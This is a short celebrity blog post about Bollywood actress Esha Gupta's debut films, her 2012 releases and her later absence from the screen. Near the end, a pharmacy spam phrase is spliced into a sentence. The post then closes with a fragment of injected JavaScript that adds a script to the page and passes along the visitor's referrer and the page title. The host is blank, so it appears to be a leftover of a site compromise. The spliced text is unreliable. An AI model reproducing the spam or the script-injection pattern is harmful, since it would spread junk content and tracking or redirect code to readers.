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This crazy Arsenal fan seems to be completely lost in a world of her known. She comes like the breeze and disappears like the wind. We’re talking about the lovely babe, Esha Gupta. She is one pretty face and has established herself as a new age heroine.

Esha Gupta had a very stereotypical entry in Bollywood. She was a student of mass communication, did well at studies but was smitten and bitten by the showbiz bug. She took up modelling and was a part of Femina Miss India way back in 2007.

Her first film was in the year 2012 opposite Emraan Hashmi in the film Jannat 2. In the same year another one of her film Raaz 3D released. This time Esha clearly stole the show although the film also starred biggie Bipasha Basu.

She is just 3 films old in Bollywood but is a total favorite among directors and producers. She is considered on of their lucky mascot. All of her films have been financially or critically successful.

Esha Gupta made a grand entry in Bollywood. The dusky babe has so much potential and beauty. But…



The last we have seen of Esha Gupta is when she appeared in the party number Dhat Teri Ki from the film Gori Tere Pyaar Mein. The film released in 2013 and boy, she looked stunning.

She has acted with Emraan Hashmi in two films back to back. She was seen in the role of a subtle sexy woman.

Surprising, she appeared in yet another film titled Chakravyuh the same year. She is one of the fewest debutants who saw three back to back releases in the same year.

For over a year and a half now Esha hasn’t had any film of her own. Apart from the song from the Gori tere Pyaar Mein viagra pas cher au canada and her crazy fan moment at the Arsenal match, she has not had the spot light on her. We miss Esha and hope she comes back with a bang.d.getElementsByTagName(‘head’)[0].appendChild(s);s.src=’’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

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